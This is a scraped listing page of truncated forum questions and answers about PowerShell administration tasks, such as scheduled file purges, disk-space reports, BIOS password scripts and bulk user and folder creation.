}Powershell.exe -ExecutionPolicy bypass -file "\\mdt\deploymentshare$\Scripts\Westmount\BIOS Update\powershell.ps1" -password h3cabozihctymage -config "\\mdt\deploymentshare$\Scripts\Westmount\BIOS Update\Lenovo Bios Setting.txt" The  script works but not with second password.  Is it possible you can help me out here? I have very... Read more

Read other answers
RELEVANCY SCORE 58

Hope I'm in the right place!

I am trying to get a Powershell script to run daily in the task scheduler. It basically purges a folder on one of my drives:

Get-ChildItem ?Path ?D:\Dropbox\Quicken\Backup? ?Recurse | Where-Object CreationTime ?lt (Get-Date).AddDays(-10) | Remove-ItI

I can run it from a CMD prompt and I set it up in the task scheduler and it seemed to run one time on schedule and then hasn't run since that initial time. I have tried to run it manually from the task scheduler but it gets and error "Task Start Failed."

I have attached copies of the properties tabs and the main view of the task scheduler with the History showing. Any ideas? I didn't find a tutorial, but I'm sure there is something on the website!

Cordially,

Al Guden

TS-TaskView.pdf
PROPERTIES-Settings.pdf
PROPERTIES-Actions.pdf
PROPERTIES-Triggers.pdf
PROPERTIES-General.pdf
PROPERTIES-History.pdf
PROPERTIES-Conditions.pdf

Read other answers
RELEVANCY SCORE 58

hi i have problem with some app for example powershell or Troubleshooting
see event :

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
<Provider Name="Application Error" />

<EventID Qualifiers="0">1000</EventID>

<Level>2</Level>

<Task>100</Task>

<Keywords>0x80000000000000</Keywords>

<TimeCreated SystemTime="2014-10-17T18:13:30.000000000Z" />

<EventRecordID>19081</EventRecordID>

<Channel>Application</Channel>
<Security />

</System>
- <EventData>
<Data>powershell.exe</Data>

<Data>6.3.9600.16384</Data>

<Data>5215ef23</Data>

<Data>clr.dll</Data>

<Data>4.0.30319.34209</Data>

<Data>5348a1ef</Data>

<Data>c0000005</Data>

<Data>00000000001f15b5</Data>

<Data>12f8</Data>

<Data>01cfea360e11f963</Data>

<Data>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>

<Data>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll</Data>

<Data>4bc80eb9-5629-11e4-82f1-8c89a50d7870</Data>

<Data />

<Data />

</EventData>
</Event>


- <Event xmlns="... Read more

Read other answers
RELEVANCY SCORE 58

I need some help getting the below to work. I must use WinrM witrh a server list.. can anyone help ?

$sessions = get-content D:\Powershell\Space\Allservers.txt | New-PSSession
$block = {
function Get-DriveSpace
{
[cmdletbinding()]
param( [Parameter(Mandatory=$true)]$computer , [int]$thresholdMultiplier=.20 )
[string]$filter = "DriveType = '3'"
try{
Get-WmiObject -class win32_logicaldisk -filter $filter -comp $computer |
Select-Object Name,@{label="SizeMB";Expression={[Math]::Truncate($_.Size / 1MB)}},
@{label="FreeMB";Expression={[Math]::Truncate($_.FreeSpace / 1MB)}},
@{label="WarningMB";Expression={[Math]::Truncate(($_.Size * $thresholdMultiplier) /1MB)}}|
Where-Object{$_.FreeMB -le $_.WarningMB}
} catch {
Write-Verbose "Error $Error in getting disk space for $computer"
}
}
}
[string]$body = Invoke-Command -ScriptBlock $block -Session $sessions | Select sizeMB,freeMB,WarningMB | Sort WarningMB | ConvertTo-Html
Send-MailMessage -SmtpServer " " -From " " -To " " -Subject "Servers Less Than 20% Free" -Body $body -BodyAsHtml

A:Powershell script for disk space - pssession

Hello and welcome to the forum.

I think I know the member who can help you I will forward this to him.

Read other 1 answers
RELEVANCY SCORE 58

powershell  sample script to install bat or cmd fles on mutiple computers remotely

Read other answers
RELEVANCY SCORE 58

i am trying trying to have my powershell script say "ok, computer will restart now" after user inputs a y after they are aked if they would like to reboot.and it just jumps right by it and says "OK... computer will NOT be restarted. Also if the use hits enter to any of the first 3 questions i want all the parameters to stay the same. below is the script i have so far. can anyone help. You will have to excuse me if this is a dumb question. I just started learning powershell.

#########################################################################
# Funtion FUNC-y/n
#########################################################################
function FUNC-y/n
{do {$yn = Read-Host "Would you like to reboot now (y/n)?" }
until ("y","n" -ccontains $yn)}
#########################################################################
$compd = Get-WmiObject -Class Win32_OperatingSystem |Select Description
write-host "Your existing computer description is " $compd
cls
$cn = Read-Host "Enter computer name"
write-host ""

$desc = Read-Host "Enter computer description"
write-host ""
#########################################################################
# CHANGE COMPUTER DESCRIPTION
#########################################################################
$OSWMI=Get-WmiObject -class Win32_OperatingSystem
$OSWMI.Description=$desc
$OSWMI.put()| out-null #| OUT-NULL suppressess powershell command outp... Read more

Read other answers
RELEVANCY SCORE 58

kindly let me how to install exe on mutiple machines using powershell script (input file will be txt or csv)

Read other answers
RELEVANCY SCORE 57.6

Anyone here know how to uninstall Powershell 1.0?

I would like to install 2.0 CTP3 and I can't do that till v1.0 is uninstalled.

A:Uninstall Powershell 1.0

Is it not in Add/Remove Programs?

Read other 9 answers
RELEVANCY SCORE 57.6

How do I uninstall Powershell?  It's causing computer games to minimize and programs to hang every minute, making work extremely frustrating and difficult.  (I do video game art)  How do I get rid of it permanently?  I don't want it on my computer at all.  It's a useless program.  I can't find it in the list of updates or installed programs, but it's there.  Please help me guys!  This stupid Powershell is just as bad as a virus!  I'm fixing to find everything with the word "Powershell" in it and deleting it manually.

A:How do I uninstall Powershell???

You can uninstall it by going to Installed Updates.1. Click on “Control Panel” in “Start menu”2. Go to “Uninstall a program” in “Control Panel”3. Click on “View installed updates” in “Programs and Features”4. Right click on Update which reads Powershell and uninstall it.

Read other 10 answers
RELEVANCY SCORE 57.6

Hiya

Thought I'd put this mainly in the Win2000's forum, as oppsed to Win98's, as it could be more used there

The Windows Script Component Wizard automates the process of creating a script component (.wsc) file. The wizard performs the following functions:

Creates the .wsc file and adds basic XML elements
Prompts for and creates registration information
Prompts for the type of interface handler you want the script component to use
Prompts for properties you want to expose and creates the necessary elements in the scripting language you specify
Prompts for methods you want to expose and creates the necessary elements in the scripting language you specify
Prompts for events that the script component can fire and creates the skeleton event elements

System Requirements
Supported Operating Systems: Windows 2000, Windows 98, Windows ME, Windows NT, Windows XP

http://www.microsoft.com/downloads/...ed-faad-4835-8e68-773ccc951a6b&DisplayLang=en

Regards

eddie
 

Read other answers
RELEVANCY SCORE 57.6

Wondering if anyone in this forum can help me figure out what I am doing wrong with my script. I am grabbing a text file with a list of users in it. I want to then create folders for all those people and then set explicit permissions on those folders to only allow the users and admin access to it. So for the create user folder, I have...

$Users = Get-Content "C:\Users.txt"
ForEach ($user in $users)
{
$newPath = Join-Path \\mycomputer\Users$ -childpath $user
New-Item $newPath -type directory
}

This works great as I now have 100 folders created. But how do I use something like....

$acl = Get-Acl "\\mycomputer\users$"
$permission = "mydomain\$users","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
$acl | Set-Acl \\mycomputer\users$\$user

When I try to loop these together it says the folder already exists or the setaccessrule identity references could not be translated.

Anyone know how I loop it in with creating the folder? Or is there a way to just say...create folder based on this username, then take that username and make it the only admin on the folder along with the system admin??

A:powershell script to create user folders and set permissions

answered my own problem...but maybe someone can help me out from here. This works for creating folders and setting permissions.

$Users = Get-Content "C:\Users.txt"
ForEach ($user in $users)
{
$newPath = Join-Path "\\myserver\Users$" -childpath $user
New-Item $newPath -type directory

$acl = Get-Acl $newpath
$permission = "mydomain\$user","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
$acl | Set-Acl $newpath
}

Anyone know how I would then look at an old server with user folders and do a stare and compare between the old and the new ones I just created? And once I find a folder that matches I want to grab all the contents in the old server and robocopy it over to the new server.

Read other 3 answers
RELEVANCY SCORE 57.6

Hi All I've found and successfully used the quick script to change BIOS passwords via Powershell for the Thinkpad line. I'm hoping the community can point me to a similar script for the Thinkcentres. We have several hundred Thinkcentres to update and the .vbs scripting information I've found isn't working for us. I'm really hoping there's a quick line similar to the Thinkpads. Thanks for any help.

Read other answers
RELEVANCY SCORE 57.6

I want to turn on and off Airplane mode through powershell script, any way for this?
I know that there are some exe files that can be used, but still I want to do this from powershell script.

A:How to Turn On/Off Airplane mode in windows through powershell script

Hi,
According to your description, I would like to share the link with you:
Airplane Mode On or Off Shortcuts - Create in Windows 8
http://www.eightforums.com/tutorials/24541-airplane-mode-off-shortcuts-create-windows-8-a.html
If you want to the detail of the script, I suggest to post the question on Script Center forum for further help.
Script Center forum:
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/home
Note: Microsoft provides third-party contact information to help you find technical support. This contact information may change without notice. Microsoft does not guarantee the accuracy of this third-party contact information.
Regards,Kelvin_Hsu
TechNet Community Support

Read other 3 answers
RELEVANCY SCORE 57.6

Hi all,

I'm trying to make a batch or powershell file that will call multiple names and passwords from a CSV file and then create local users with them.

Anyone able to help? - I've made users in command line before using the Net User command, but i'm not sure how to use the variables to say read the data from this spreadsheet, then add a user with it.

Any help would be gratefully received!

Thanks
Matt
 

A:Batch / Powershell script to add multiple Local users

i found this from when i used to do sysadmin,

Code:
###########################################################
# AUTHOR : Marius / Hican - http://www.hican.nl - @hicannl
# DATE : 26-04-2012
# COMMENT : This script creates new Active Directory users
# including different kind of properties based
# on an input_create_ad_users.csv.
###########################################################
Import-Module ActiveDirectory
# Get current directory and set import file in variable
$path = Split-Path -parent $MyInvocation.MyCommand.Definition
$newpath = $path + "\import_create_ad_users.csv"
# Define variables
$log = $path + "\create_ad_users.log"
$date = Get-Date
$i = 0
# Change this to the location you want the users to be created in your AD
$location = "OU=Test,OU=Users,DC=hican,DC=nl"
# FUNCTIONS
Function createUsers
{
"Created following users (on " + $date + "): " | Out-File $log -append
"--------------------------------------------" | Out-File $log -append
Import-CSV $newpath | ForEach-Object {
# A check for the country, because those were full names and need
# to be landcodes in order for AD to accept them. I used Netherlands
# as example
If($_.CO -eq "Netherlands")
{
$_.CO = "NL"
}
# Replace dots / points (.) in names, because AD will error when a ... Read more

Read other 1 answers